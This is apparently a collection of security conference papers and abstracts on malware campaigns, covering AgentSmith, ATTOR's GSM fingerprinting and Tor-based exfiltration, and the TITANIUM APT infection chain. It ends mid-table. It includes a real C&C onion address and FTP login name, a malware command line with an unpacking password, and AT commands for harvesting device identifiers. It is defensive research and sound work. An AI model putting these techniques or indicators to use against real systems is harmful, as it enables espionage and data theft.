Over time, this campaign will also infect the same device, repeatedly, with the latest malicious patches. The staggering number of 2.8 Billion application swaps, on over 25 million unique devices, shows us that on average, a device suffers roughly 112 swaps of innocent applications.

As an initial attack vector, AgentSmith abuses the 9Apps market — with over 360 different dropper variants. The majority of those droppers fall into categories of adult-entertainment, media player, photo utilities, and more.
Orchestrating a successful 9Apps centric malware campaign, the actor behind AgentSmith established solid strategies in malware proliferation and payload delivery. The actor also built solid backend infrastructures which can handle high volume concurrent requests. During our extended threat hunting, we uncovered 11 apps on the Google Play store that contain a malicious yet dormant SDK related to AgentSmith actor. This discovery indicates the actor’s ambition in expanding operations into Google Play store with previous successful experience from the main AgentSmith campaign.

Instead of embedding core malware payload in droppers, the actor switches to a more low-key SDK approach. In the dangerous module lies a kill switch logic which looks for the keyword “infect”. Once the keyword is present, the SDK will switch from innocent ads server to malicious payload delivery ones. Hence, we name this new spin-off campaign as Jaguar Kill Switch. The below code snippet is currently isolated and dormant. In the future, it will be invoked by malicious SDK during banner ads display.
Evidence implies that the AgentSmith actor is currently laying the groundwork, increasing its Google Play penetration rate and waiting for the right timing to kick off attacks. By the time of this publication, two Jaguar Kill Switch infected app has reached 10 million downloads while others are still in their early stages.

Based on information gathered during analysis, we have successfully identified the actor behind AgentSmith — A Chinese company whose front end legitimate business is to help Chinese Android developers publish and promote their apps on overseas platforms. This allowed the actor go get his hands on 'legitimately' developed applications, to be used as an initial foothold on the device and to act as a dropper for the 'Core' malware.
Various recruitment posts on Chinese job sites and Chinese National Enterprise Credit Information Public System (NECIPS) data led us one step further, linking the actor to its legal entity name. Interestingly, we uncovered several expired job posting of Android reverse engineer from the actor’s front business published in 2018 and 2019. It seems that the people who filled these roles are key to AgentSmith’s success, yet not quite necessary for the actor’s legitimate side of the business.

With a better understanding of the AgentSmith actor than we had in the initial phase of campaign hunting, we examined the list of target innocent apps once again and discovered the actor’s unusual practices in choosing targets. It seems, AgentSmith prey list does not only have popular yet Janus vulnerable apps to ensure high proliferation, but also contain competitor apps of actor’s legitimate business arm to suppress competition.

**Conclusion**

Although the actor behind AgentSmith decided to make their illegally acquired profit by exploiting the use of ads, another actor could easily take a more intrusive and harmful route. With the ability to hide its icon from the launcher and hijack popular existing apps on a device, there are endless possibilities to harm a user’s digital even physical security. Today this malware shows unwanted ads, tomorrow it could steal sensitive information; from private messages to banking credentials and much more.

The AgentSmith campaign serves as a sharp reminder that effort from system developers alone is not enough to build a secure Android eco-system. It requires attention and action from system developers, device manufacturers, app developers, and users, so that vulnerability fixes are patched, distributed, adopted and installed in time.

It is also another example for why organizations and consumers alike should have an advanced mobile threat prevention solution installed on the device to protect themselves against the possibility of unknowingly installing malicious apps, even from trusted app stores.
The IoT in Jeopardy: The Abuse of Mobile Applications and Cloud Services

Manuel Gatbunton & Shin Li / TrendMicro

Abstract

As the internet of things (IoT) becomes more pervasive in various sectors and applications, security researchers and hackers race more aggressively against each other to find weak points in IoT hardware and software.

Often, firmware will be dumped and analyzed in hopes of finding a vulnerability or two. However, acquiring devices and the needed tools to disassemble parts and dump firmware can prove costly. Fortunately, searching for bugs in IoT devices can be done without the devices themselves. As we did in this research, one need only look into the mobile applications and IoT cloud services used by the devices.

Our analysis of applications — in the case of this research, those on the Android platform — and cloud services resulted in the discovery of serious issues related to misconfigured systems, whereby one can:

Manuel Gatbunton is a Senior Threat Response Engineer in Trend Micro. He has been security threat analyst with over four years of experience in the antivirus industry and malware landscape. Manuel specializes in dynamic and static analysis and malware reverse engineering; creating signatures and solutions. Knowledgeable in implementing and extending backend tools and systems to automate and improve malware analysis and detection.
• Access Message Queuing Telemetry Transport (MQTT) channels with specific topics and control IoT devices to eavesdrop on the communication between servers and devices.

• Gain unlimited permission to data or file storage (buckets), by which even a guest account can have full control, including read/write capability, on the services. Such a privilege can allow an attacker to download any files from the storage or modify files stored in the servers, including JavaScript and HTML files. Moreover, the firmware of a mobile application can be replaced with a custom version so that when a user installs an update, the altered version of the firmware will be installed instead. If one digs deeper, the full source code of the mobile application or the firmware itself can be gathered.

• Obtain full permission on the IoT components to check the real-time status of connected devices through a guest account.

• Retrieve the certificates of all connected devices.

• Modify and add policies or rules for specific IoT devices.

In this research, we discuss the extent to which one can interfere with configurations of IoT cloud services, and explain how examining the interaction between mobile applications and IoT cloud services can lead to the discovery of vulnerabilities.

Post Conference Update: Trend Micro had not authorized this publication and on their request it has been removed from this proceedings.
ATTOR: Spy platform with curious GSM fingerprinting

Zuzana Hromcova / ESET

Abstract

ATTOR is a previously unreported cyberespionage platform used in targeted attacks since 2014, focusing on diplomatic missions and governmental institutions. Its most interesting features are a complex modular architecture, elaborate network communication and a unique plugin to fingerprint GSM devices.

Highly targeted, with only a few dozen victims affected, ATTOR specifically searches for TrueCrypt-protected hard drives and the processes of specific VPN applications. This suggests the attackers have a special interest in security-conscious users. Furthermore, ATTOR's operators are also apparently focused on Russian targets.

The malware's core lies in its dispatcher, which serves as a management and synchronization unit for additional plugins. It also provides an interface for the plugins to call Windows API and cryptographic functions indirectly.

Zuzana Hromcová is a reverse engineer, working at ESET since 2016. She is a part of the malware research team, providing detailed analyses of ongoing malicious campaigns and reporting on them. She is a regular speaker at local events, helping spreading awareness about information security among students. Zuzana is a recent master graduate of Computer Science from Comenius University in Bratislava, having graduated with honors. She majored in computer security, concluding her studies with a thesis dealing with securing a Linux desktop environment using SELinux mechanisms.
Plugins themselves are heavily synchronized, with network communication alone being spread across four different components, each implementing a different layer, allowing the malware to communicate with its FTP C&C server residing in an onion domain. TOR is used for communication, aiming for anonymity and untraceability, and the overall setup makes it impossible to analyze the communication unless all pieces of the puzzle have been collected.

The capabilities of ATTOR rely on the plugins, which allow the attackers to customize the platform per victim. The most notable plugin is able to detect connected GSM/GPRS modems or mobile devices; this allows ATTOR to speak to them directly using the AT command set, in order to collect sensitive information such as the IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, and more common spyware capabilities.

In this presentation we will dissect this cyberespionage platform, focusing on the architecture and the network communication workflow. We will document functionality of the available plugins and review the many techniques ATTOR uses in its attempts to evade detection and analysis. We will also discuss the campaign, and its focus on high-profile and security-conscious targets.
Introduction

For the cybersecurity industry, it is important to hunt for, analyze and monitor espionage tools. Gaining insight into this kind of malware, which is often state-of-the-art and designed to stay undetected, is needed to be able to defend against it effectively. For this reason, new espionage tools always attract attention — all the more so if they feature new architecture, tactics, techniques or tricks.

We have discovered a previously unreported cyberespionage platform used in targeted attacks since at least 2013. We named it ATTOR because of its two notable features: the AT protocol used by ATTOR’s GSM plugin, and Tor, which is employed for ATTOR’s network communication. Focusing on diplomatic missions and governmental institutions, the campaign is highly targeted. Even though it has lasted so long, we have only seen a few dozen victims.

In 2018, ATTOR underwent a substantial upgrade that introduced a new, complex architecture. The authors implemented further measures to make detection and analysis more difficult and the code seems better structured.

In this paper, we dissect the platform and describe its notable features, with focus on those that have not been previously documented or are worthy of further analysis.

Targets

For an espionage operation as highly targeted as ATTOR is, it is interesting to learn more about what kind of targets are being spied upon. In addition to our telemetry, we were able to gain more insight into ATTOR’s targets by analyzing its functionality.

In order to be able to report on the victim’s activities, ATTOR monitors active processes to take screenshots of selected applications. Only certain applications are targeted — those with specific substrings in the process name or window title.

Besides standard services such as popular web browsers, instant messaging applications and email services, the list of targeted applications contains several Russian services, as detailed in Table 1.

<table>
<thead>
<tr>
<th>Process name / window title substring</th>
<th>Context</th>
</tr>
</thead>
<tbody>
<tr>
<td>ОДНОКЛАССНИКИ (transl. Classmates)</td>
<td>Russian social network (Odnoklassniki)</td>
</tr>
<tr>
<td>AGENTVKONTAKTE</td>
<td>Russian social network (VKontakte)</td>
</tr>
<tr>
<td>WEBMONEY</td>
<td>Online payment system used in Russia (WebMoney)</td>
</tr>
<tr>
<td>MAIL.YANDEX, ЯНДЕКС.ПОЧТА (transl. Yandex.Mail), MAIL.RU, РОССТА (transl. Mail), MAGENT</td>
<td>Russian email services (Mail.ru, Yandex.Mail)</td>
</tr>
<tr>
<td>ПРИГЛАШЕНИЕ ДРУЖИТЬ (transl. Friend request)</td>
<td>Russian text</td>
</tr>
<tr>
<td>ВАМ СООБЩЕНИЕ (transl. Message for you)</td>
<td>Russian text</td>
</tr>
<tr>
<td>MULTIFON</td>
<td>Russian VoIP service</td>
</tr>
<tr>
<td>QIP, INFIUM</td>
<td>Russian IM application (QIP)</td>
</tr>
<tr>
<td>RAMBLER</td>
<td>Russian search engine (Rambler)</td>
</tr>
</tbody>
</table>

Table 1. Artifacts from ATTOR’s Screengrabber associated with Russian applications
The list includes the two most popular social networks in Russia (Odnoklassniki, VKontakte) and a VoIP service provided by a Russian telecom operator (Multifon). Our conclusion is that ATTOR is specifically targeting Russian-speakers, which is further supported by the fact that most of the targets are located in Russia, as seen in Figure 1. Other targets are located in Eastern Europe, and they include diplomatic missions and governmental institutions.

In addition to its geographical and language targeting, ATTOR’s creators appear to be specifically interested in users concerned about their privacy.

ATTOR is configured to capture screenshots of encryption/digital signature utilities, the VPN service HMA, end-to-end encryption email services Hushmail and The Bat!, and the disk encryption utility TrueCrypt.

The victim’s usage of TrueCrypt is further inspected in another part of ATTOR. It monitors hard disk devices connected to the compromised computer, and searches for the presence of TrueCrypt. If TrueCrypt is detected, its version is determined by sending IOCTLs to the TrueCrypt driver (0x222004 (TC_IOCTL_GET_DRIVER_VERSION) and 0x72018 (TC_IOCTL_LEGACY_GET_DRIVER_VERSION)). As these are TrueCrypt-specific control codes, not standard codes, the authors of the malware must actually understand the open-source code of TrueCrypt installer. We have not seen this technique used before nor seen it documented in other malware.
Technical analysis

ATTOR consists of a dispatcher and loadable plugins, all of which are implemented as dynamic-link libraries (DLLs). Although we were not able to recover the initial distribution and execution method, we assume the first step of a compromise comprises dropping all these components on disk and loading the dispatcher DLL.

Dispatcher interface

The dispatcher is the core of the whole platform – it serves as a management and synchronization unit for the additional plugins. On each system start, it injects itself into almost all running processes and loads all available plugins within each of these processes. As an exception, ATTOR avoids injection into some system and security-product-related processes.

A feature characteristic of ATTOR is that the plugins then choose in which of the processes to activate their payload. For example, the Screengrabber plugin captures only screenshots of the window of a process in which it is activated, which allows monitoring only processes that are of interest to the attackers (such as end-to-end encryption email services).

Figure 2. The Device monitor plugin sends non-standard, TrueCrypt-specific control codes to the TrueCrypt driver, in order to determine the TrueCrypt version.
All plugins rely on the dispatcher for implementing basic functionalities. Rather than calling Windows API functions directly, the plugins use a reference to a helper function (a function dispatcher) implemented by the dispatcher DLL. A reference to the function dispatcher is passed to the plugins when they are loaded. Because the plugins are injected in the same process as the dispatcher itself, they share the same address space and are thus able to call this function directly.

Calls to the function dispatcher take as their arguments the function type and its numerical identifier. This design makes it harder to analyze individual components of ATTOR without having access to the dispatcher, as it translates the specified identifier to a meaningful function that is then executed.

Figure 3 illustrates a part of one plugin, calling the function dispatcher on several occasions. In the disassembly on the right, we have replaced the numeric identifiers (that we recovered by reverse-engineering the dispatcher) with descriptive names.
According to our analysis, depending on the dispatcher version, the dispatcher implements three-to-four dozen functions (higher-numbered functions are included in the newer samples). Table 2 lists functions recovered across all samples examined.

<table>
<thead>
<tr>
<th>Function ID</th>
<th>Functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>NtCreateFile wrapper</td>
</tr>
<tr>
<td>2</td>
<td>NtClose wrapper</td>
</tr>
<tr>
<td>3</td>
<td>SetFilePointer wrapper</td>
</tr>
<tr>
<td>4</td>
<td>NtFlushBuffersFile wrapper</td>
</tr>
<tr>
<td>5</td>
<td>Change file attributes</td>
</tr>
<tr>
<td>6</td>
<td>NtReadFile wrapper</td>
</tr>
<tr>
<td>7</td>
<td>NtWriteFile wrapper</td>
</tr>
<tr>
<td>8</td>
<td>Create and close a file</td>
</tr>
<tr>
<td>9</td>
<td>Create a session event</td>
</tr>
<tr>
<td>10</td>
<td>Create a mutex</td>
</tr>
<tr>
<td>11</td>
<td>Find first file</td>
</tr>
<tr>
<td>12</td>
<td>Find next file</td>
</tr>
<tr>
<td>13</td>
<td>Release all resources used by an unowned critical section object</td>
</tr>
<tr>
<td>14</td>
<td>Delete a file</td>
</tr>
<tr>
<td>15</td>
<td>NtOpenEvent wrapper</td>
</tr>
</tbody>
</table>

2 (cryptographic primitives)

<table>
<thead>
<tr>
<th>Function ID</th>
<th>Functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Free a memory block</td>
</tr>
<tr>
<td>2</td>
<td>Free a memory block and overwrite it with null bytes</td>
</tr>
<tr>
<td>3</td>
<td>Generate a new Blowfish key and initialize the encryption routine</td>
</tr>
<tr>
<td>4</td>
<td>Overwrite the Blowfish key with null bytes</td>
</tr>
<tr>
<td>5</td>
<td>Encrypt the Blowfish key with RSA</td>
</tr>
<tr>
<td>6</td>
<td>Encrypt/decrypt data with a previously initialized Blowfish key, in OFB mode</td>
</tr>
<tr>
<td>7</td>
<td>Hybrid decryption — decrypt the RSA-encrypted Blowfish key and then decrypt the Blowfish-encrypted data</td>
</tr>
<tr>
<td>8</td>
<td>Generate an RSA key</td>
</tr>
<tr>
<td>9</td>
<td>Hash data (SHA-1 or MDS)</td>
</tr>
<tr>
<td>10</td>
<td>Hash data — init part (SHA-1 or MDS)</td>
</tr>
<tr>
<td>11</td>
<td>Overwrite a memory block with null bytes</td>
</tr>
<tr>
<td>12</td>
<td>Hash data — update part (SHA-1 or MDS)</td>
</tr>
<tr>
<td>13</td>
<td>Hash data — final part (SHA-1 or MDS)</td>
</tr>
<tr>
<td>14</td>
<td>Hybrid encryption — generate a Blowfish key, encrypt it with RSA and then encrypt the data with Blowfish in OFB mode</td>
</tr>
</tbody>
</table>

3 (retrieving configuration data and global variables)

<table>
<thead>
<tr>
<th>Function ID</th>
<th>Functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Get path to the Upload folder (from the config)</td>
</tr>
<tr>
<td>2</td>
<td>Get path to the Update folder (from the config)</td>
</tr>
<tr>
<td>3</td>
<td>Get path to the Plugin folder (from the config)</td>
</tr>
<tr>
<td>4</td>
<td>Get path to the Resource folder (from the config)</td>
</tr>
<tr>
<td>5</td>
<td>Get 16 hardcoded bytes</td>
</tr>
<tr>
<td>6</td>
<td>Get attributes of ntdll.dll file (to be used for forging file timestamps)</td>
</tr>
<tr>
<td>7</td>
<td>Change file timestamps to those of ntdll.dll file</td>
</tr>
</tbody>
</table>
### Function ID Table

<table>
<thead>
<tr>
<th>Function ID</th>
<th>Functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>Check if there is enough space on disk</td>
</tr>
<tr>
<td>9</td>
<td>Get FTP directory name (from the config)</td>
</tr>
<tr>
<td>10</td>
<td>Get user ID (from the config)</td>
</tr>
<tr>
<td>11</td>
<td>Get structure with global variables and configuration data</td>
</tr>
<tr>
<td>12</td>
<td>Get user security descriptor</td>
</tr>
<tr>
<td>13</td>
<td>Get the specified config field</td>
</tr>
<tr>
<td>14</td>
<td>Resolve import</td>
</tr>
</tbody>
</table>

Table 2. The interface provided by the dispatcher DLLs

Furthermore, the dispatcher is the only component of the platform that has access to the configuration data. ATTOR’s plugins retrieve their configuration data from the dispatcher via the interface, as described above.

## Plugins

ATTOR’s plugins are delivered to the compromised computer as DLLs, asymmetrically encrypted with RSA. The plugins are only fully recovered in memory, using the public RSA key embedded in the dispatcher. As a result, it is difficult to obtain ATTOR’s plugins, and to decrypt them without access to the dispatcher.

We were able to recover eight of ATTOR’s plugins, some in multiple versions — we list them in Table 3. Assuming the numbering of plugins is continuous, and that actors behind ATTOR may use different sets of plugins on a per-victim basis, we suspect there are even more plugins that have not yet been discovered.

### Plugin ID Table

<table>
<thead>
<tr>
<th>Plugin ID</th>
<th>Analyzed versions</th>
<th>Functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x01</td>
<td>0x0E</td>
<td>Device monitor</td>
</tr>
<tr>
<td>0x02</td>
<td>(no version), 0x0C</td>
<td>Screengrabber</td>
</tr>
<tr>
<td>0x03</td>
<td>(no version), 0x08, 0x09, 0x0B, 0x0C</td>
<td>Audio recorder</td>
</tr>
<tr>
<td>0x05</td>
<td>0x0A</td>
<td>File uploader</td>
</tr>
<tr>
<td>0x06</td>
<td>0x0A</td>
<td>Command dispatcher/ SOCKS proxy</td>
</tr>
<tr>
<td>0x07</td>
<td>0x02, 0x04, 0x09, 0x0A</td>
<td>Key/clipboard logger</td>
</tr>
<tr>
<td>0x0D</td>
<td>0x03</td>
<td>Tor client</td>
</tr>
<tr>
<td>0x10</td>
<td>0x01</td>
<td>Installer/watchdog</td>
</tr>
</tbody>
</table>

Table 3. The analyzed plugins and their versions

The plugins are responsible for persistence of the platform (Installer/watchdog plugin), for collecting sensitive information (Device monitor, Screengrabber, Audio recorder, Key/clipboard logger) and for network communication with the C&C server (File uploader, Command dispatcher/ SOCKS proxy, Tor client).

ATTOR has built-in mechanisms for adding new plugins, for updating itself, and for automatically exfiltrating collected data and log files. These mechanisms are illustrated in Figure 4.
In the following sections, we will focus on plugins responsible for the two notable features that gave ATTOR its name — GSM fingerprinting via AT commands, and elaborate network communication using Tor.

**Network communication**

ATTOR’s espionage plugins collect sensitive data (such as a list of documents present on the disk) that is ultimately exfiltrated to a remote server, but these plugins themselves do not communicate over the network.

Only two of ATTOR’s components communicate with its C&C server: File uploader and Command dispatcher.

Files collected by the “espionage plugins” (Device monitor, Screengrabber, Audio recorder, and Key/clipboard logger) are uploaded to the C&C server automatically by the File uploader plugin. These plugins use a dedicated Upload folder as a central folder to store collected data, and other plugins use it to store log files.

The Command dispatcher plugin downloads commands and additional tools from the C&C server and interprets them. Again, it uses dedicated folders to store its data — most prominently, freshly downloaded plugins and platform updates, and encrypted log data containing status/results of the executed commands.
ATTOR’s dispatcher monitors the shared folders, and loads any new plugins and updates pushed to the compromised computer.

This means that neither ATTOR’s dispatcher, nor espionage plugins, ever communicate with the C&C server — they only use local shared folders for storing data to be exfiltrated and for reading further instructions from the server. Both File uploader, and Command dispatcher use the same infrastructure to reach the remote server — the network communication itself is scattered across four different ATTOR components, each implementing a different layer.

ATTOR uses Tor: Onion Service Protocol, with an onion address for the C&C server. In order to communicate with the C&C server, any plugin must thus first establish a connection with the Tor client plugin (listening on the non-default 127.0.0.1:8045) which is responsible for resolving the onion domain, choosing a circuit and encrypting data in layers. The Tor client plugin is based on the Tor client, and customized to the design of this malware (tor.exe with added interaction with ATTOR’s dispatcher).

The Tor client plugin must communicate with the dispatcher, which implements the cryptographic functions. Furthermore, it communicates with the SOCKS proxy plugin (listening on 127.0.0.1:5153) that relays communications between the Tor client and the remote server. Both File uploader and Command dispatcher use FTP; files are uploaded to/downloaded from an FTP server that is protected by credentials hardcoded in the configuration:

- **C&C server:** idayqh3zhhj5j243t[.]onion
- **Username:** do
- **Password:** [Redacted]

The plugins log in to the FTP server and copy the collected data to, or download commands from, a victim-specific directory.

In total, the infrastructure for C&C communication spans four ATTOR components — the dispatcher providing encryption functions, and three plugins implementing the FTP protocol, the Tor functionality and the actual network communication, as illustrated in Figure 5. This mechanism makes it impossible to analyze ATTOR’s network communication unless all pieces of the puzzle have been collected.

It is important to note that ATTOR uses several additional tricks to hide its communications from the user and security products:

First, the C&C server is a Tor service, aiming for anonymity and untraceability.
Second, all network-communication-related plugins are only activated if running within the process of a web browser or an instant messaging application or other network applications (this is determined by checking the process name against a hardcoded list). This trick hides the exfiltration-related network communication in a stream of legitimate communications made by that application, and thus reduces the risk of raising any suspicion.

**GSM fingerprinting**

The most curious plugin in ATTOR’s arsenal collects information about both connected modem/phone devices and connected storage drives, and about files present on these drives. It is responsible for collection of metadata, not the files themselves, so we consider it a plugin used for device fingerprinting, and hence likely used as a base for further data theft.

While ATTOR’s functionality of fingerprinting storage drives is rather standard, its fingerprinting of GSM devices is unique.

Whenever a modem or a phone device is connected to a COM port, Device monitor uses AT commands to communicate with the device, via the associated serial port.

AT commands, also known as Hayes command set, were originally developed in the 1980s to command a modem to dial, hang up or change connection settings. The command set was subsequently extended to support additional functionality, both standardized and vendor-specific.

In a recent paper, it was discovered that the commands are still in use in most modern smartphones. Those researchers were able to bypass security mechanisms and communicate with smartphones using AT commands through their USB interface. Thousands of commands were recovered and tested, including those to send SMS messages, emulate on-screen touch events, or leak sensitive information. That research illustrates that the old-school AT commands pose a serious risk when misused.

As for ATTOR’s plugin, however, we may only speculate why AT commands are employed. We have detected a 64-bit version of this plugin in 2019, and we can confirm it is still a part of the modernized ATTOR platform (that we first saw in 2018). On the other hand, it seems unlikely it is targeting modern smartphone devices. The plugin ignores devices connected via a USB port, and only contacts those connected via a serial port (more precisely, devices whose friendly names match “COM*”).

A more likely explanation of the plugin’s main motive is that it targets modems and older phones. Alternatively, it may be used to communicate with some specific devices (used by the victim or target organization) that are connected to the COM port or to the USB port using a USB-to-serial adaptor. In this scenario, it is possible the attackers have learned about the victim’s use of these devices using some other reconnaissance techniques.

In any case, the plugin retrieves the following information from the connected devices, using the AT commands listed in Table 4:

- Basic information about the mobile phone or GSM/GPRS modem: name of manufacturer, model number, IMEI number and software version
- Basic information about the subscriber: MSISDN and IMSI number
### AT command Functionality

<table>
<thead>
<tr>
<th>AT command</th>
<th>Functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td>AT</td>
<td>Signals start of communication (AT for attention).</td>
</tr>
<tr>
<td>AT+MODE=2</td>
<td>Prepares the phone for an extended AT+ command set.</td>
</tr>
<tr>
<td>AT+CGSN</td>
<td>Requests IMEI number (International Mobile Equipment Identity), which is a unique number to identify a device.</td>
</tr>
<tr>
<td>AT+CGMM</td>
<td>Requests information about the model of the device (model number).</td>
</tr>
<tr>
<td>AT+CGMI</td>
<td>Requests name of the device manufacturer.</td>
</tr>
<tr>
<td>AT+CGMR</td>
<td>Requests the version of the software loaded on the device.</td>
</tr>
<tr>
<td>AT+CNUM</td>
<td>Requests MSISDN (Mobile Station International Subscriber Directory Number), which is the mapping of the telephone number to the subscriber identity module in a mobile or cellular phone.</td>
</tr>
<tr>
<td>AT+CIMI</td>
<td>Requests IMSI (International Mobile Subscriber Identity), which is a unique number identifying a GSM subscriber. This number has two parts. The initial part is comprised of six digits in the North American standard and five digits in the European standard. It identifies the GSM network operator in a specific country with whom the subscriber holds an account. The second part is allocated by the network operator to identify the subscriber uniquely.</td>
</tr>
</tbody>
</table>

**Table 4. The commands of the AT protocol used by the Device monitor plugin**

Note that many more (vendor-specific) AT commands exist that are not used by this plugin. It is possible that the malware operators use the listed commands to fingerprint the connected devices, and then deploy another plugin with more specific commands to extract information from the device.

### Conclusion

ATTOR is an espionage platform, used for highly targeted attacks, and has flown under the radar successfully since 2013. Its targets include high-profile users in Eastern Europe, and Russian-speaking, security-concerned users.

ATTOR is well-structured malware with a loadable-plugin architecture that can be used to customize the functionality to specific victims. It implements mechanisms for automated data collection and exfiltration, as well as for pushing additional plugins to the compromised machine.

Its functionality includes an unusual plugin for GSM fingerprinting that utilizes the rarely used AT command set. ATTOR incorporates Tor with the aim of anonymity and untraceability, and scatters the network communication functionality among several components, to make analysis rather difficult.

Our research provides a deep insight into the malware and suggests that it is well worth further tracking of the operations of the group behind it.

### Acknowledgements

to Anton Cherepanov, Peter Košinár, and Zoltán Rusnák for their work on this investigation.
Judgement Day

Thomas Siebert / G DATA CyberDefense

Abstract

This talk is about a criminal operation involving malware. It will include information about the technical background of the malware, as well as the events that lead to the arrest of the group and the following legal proceedings.

As the legal proceedings are still ongoing, further information will be given only in the talk.
Unwanted world — from chaos to rules
Bohumír Fajt / AVAST

TITANIUM: the PLATINUM group strikes again
Saurabh Sharma & Vladimir Kononovich / Kaspersky

A Chronicle of Fallout
Rintaro Koike & Shota Nakajima / nao_sec

Fast Rev-eng Is Definitely Awesome (Android Frida tutorial)
Hsun-Jen Hsu & Jen-Yu Tsai / AVAST

What is Really Happening with MegaCortex
Christopher Del Fierro / IBM X-Force IRIS

An introduction to CTA: Cyber Threat Alliance
Michael Daniel / Cyber Threat Alliance

Buying, selling and analysing security: Following the money, time and expertise behind a trillion dollar industry
Simon Edwards / SE Labs

Discretion in APT: Recent APT attack on crypto exchange employees
Heungsoo Kang / LINE
Day 2 / Track 2  Nov 8th

560  Unrevealing the architecture behind the Counter-Strike 1.6 botnet: zero-days and Trojans
Ivan Korolev & Igor C. Zdobnov / Doctor Web

572  Into the Land of the Dark(hydrus)
Lokesh Janakiraman & Raja Babu Annamalai / K7 Computing

BACK TO THE AGENDA
Unwanted world — from chaos to rules

Bohumír Fajt / AVAST

Abstract

What does it mean when we classify software as unwanted and how do we recognize it? This gray zone is surprisingly big. However it is usually overlooked or/and underestimated as it may be uninteresting maybe even boring for analysts. Bad guys know it and benefit from it. The “Unwanted” guys are powered by good speakers, skilled social engineers, and masters of evading. Their ultimate weapon is a legal threat. What can we do with them and is it really worth it?

Bohumír Fajt is a malware analyst at Avast, his main responsibilities include "grey zone" agenda and compliance issues. He creates and maintains clean software guidelines at Avast. He started his professional career as a developer and analyst of polymorphic malware. He is also an active member of AMTSO USC working group.
TITANIUM: the PLATINUM group strikes again

Vladimir Kononovich & Saurabh Sharma / Kaspersky

Abstract

At the AVAR 2018 we presented our research of a new malware campaign – we called it “The EasternRoppels operation”. It was just the new wave of the attacks of the PLATINUM group: new victims and the new tools. We are sure with high confidence that it was a targeted attack: only a few victims in the APAC region were infected.

We researched that campaign and created many detection rules against those malicious samples. So we killed two birds with one stone: first, we provided the best detection rules to protect our users, second — we have got a robust way to track this malware campaign and this actor in general.

More than half a year has passed since then and now we have some news. First, the actor is still active: they continue their operations, we discovered several new victims (as in previous cases — all of them are in the APAC region). Second, we found a new malicious tool by this actor, which we called TITANIUM. Finally, we were able to restore the chain of infection.

Vladimir Kononovich is a reverse-engineer. It’s not only his job, but also his hobby. He is an active romhacking community member. Vladimir likes to reverse old-school retro-games and writes compression and decompression tools, enabling other enthusiasts to translate their favorite games into foreign languages.

Saurabh Sharma is a Senior security researcher on the Global Research and Analysis Team (GReAT) at Kaspersky Lab, India. He’s contributing to GReAT’s mission by helping to investigate the most active and advanced threat actors, targeted attacks, attacker tools and more. Saurabh’s professional passions includes reverse engineering malware, uncovering, tracking and analyzing APT campaigns and reporting all about it.
TITANIUM is a new targeted attack against victims in APAC. It has many malicious tools in its arsenal: PowerShell backdoors, fileless backdoors, exploits. One interesting thing regarding this attack is that the operators use legitimate tools to exfiltrate stolen data from the infected networks. TITANIUM backdoors achieve persistence by registering as a service or by substituting clsids and project_c toolsets by using side loading technique towards system services. All executable samples in this attack are protected with a custom cryptor in order to make analysis more difficult. One more thing which also makes our work harder: some tools are fileless and exist only in the memory of system processes: we need to restore the executable file to analyze it carefully.

In our presentation we will talk about the new malicious toolset from the PLATINUM actor — the TITANUM backdoor. We will provide additional details about this APT: reveal the modules, explain the functionality; will describe new and interesting techniques which were used by this group (fileless infection, PowerShell backdoors, interesting cryptors, infection pattern and so on). Finally, we will talk about the victims of this APT: a number of high-profile victims were infected, including some ministries, air forces and an ISP in APAC.
1. Introduction

Titanium APT includes a sequence of many steps of dropping, downloading and installing of the next levels of a whole system, where the last step is a Trojan-backdoor. Almost every level of that system mimics known software, like:

- Sun
- Realtek Audio HAD
- DVD Maker
- McAfee

In every case a default distro is:

a. some exploit to be able to execute a code as SYSTEM user
b. a shellcode to download next downloader
c. a downloader to download an SFX-archive that contains a Windows task installation script
d. a passworded SFX-archive with a Trojan-backdoor installer
e. an installer script (ps1)
f. a COM object DLL (a loader)
g. the Trojan-backdoor itself

2. Infection vector

Our opinion is that the Titanium APT uses local intranet web-sites with a malicious code to start spreading.

2.1 – Shellcode

Another known way of spreading is using a shellcode, which must be injected into some process. In this case it was winlogon.exe. Unfortunately, we don’t know how this shellcode was injected. See the shellcode description below.

2.2 – Wrapper DLLs

Attackers actively use many kinds of “wrappers”. Every wrapper is usually a COM DLL, with corresponding exported functions. The main purpose of these libraries is to decrypt and load an encrypted file (previously dropped somewhere) into system memory (a payload) and then redirect calls to the wrapper itself to the payload exported functions. Another type of a wrapper DLL is designed to get a command line from its exported function argument passed by a caller and create a new process.

2.3 – Windows Task installer (SFX-archive)

This is a password encrypted SFX archive that can be downloaded via BITS Downloader. The password is hardcoded into the downloader, which specifies that it should decrypt the SFX archive using the -p command line argument. The main feature of this archive is that it contains the cURL executable code, compiled into a DLL. Its purpose is to install the Windows task so that it stays persistent in the infected system.
2.4 – Trojan-Backdoor installer (SFX archive)

The backdoor itself uses an SFX archive which must be launched from the command line using a password to unpack it. As we don’t have a full distro for the “Realtek” case, all examples will be for the “DVD Maker”. These notes apply to the “McAfee” case too.

2.5 – BITS Downloader

This component is used to download encrypted files from the CC server then decrypt and launch them.

3. Shellcode description

The shellcode itself contains position-independent code and doesn’t require previously loaded libraries (except Kernel32.dll). It has only one purpose: connect to the hardcoded CC address, download an encrypted payload (the passworded SFX archive), then decrypt it and launch it using the hardcoded unpacking password. The typical command line is:

```
"rundll32 "$temp\IOZwXLeM023.tmp",GetVersionInfo -t 06xwsrdrub2i84n6map3li3vz3h9bh4vfgcw"
```

4. BITS Downloader description

The BITS Downloader is a DLL file which has only one exported function: GetVersionInfoA. The main purpose of this library is downloading files in encrypted form from the CC and launching them.

Execution sequence

The first thing that the downloader does is to check that it was started using the SYSTEM user. If it was, it launch command line arguments (that were passed to the binary that has been loaded by the downloader DLL) using WMI. In the other case, it passes command line arguments into the arguments parser.

ARGUMENTS PARSER

<table>
<thead>
<tr>
<th>Key</th>
<th>Parameter description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-c URL</td>
<td>Specifies a URL address which will be used to send system information there</td>
</tr>
<tr>
<td>-t STRING</td>
<td>An additional string which will be appended to a request string to the CC</td>
</tr>
<tr>
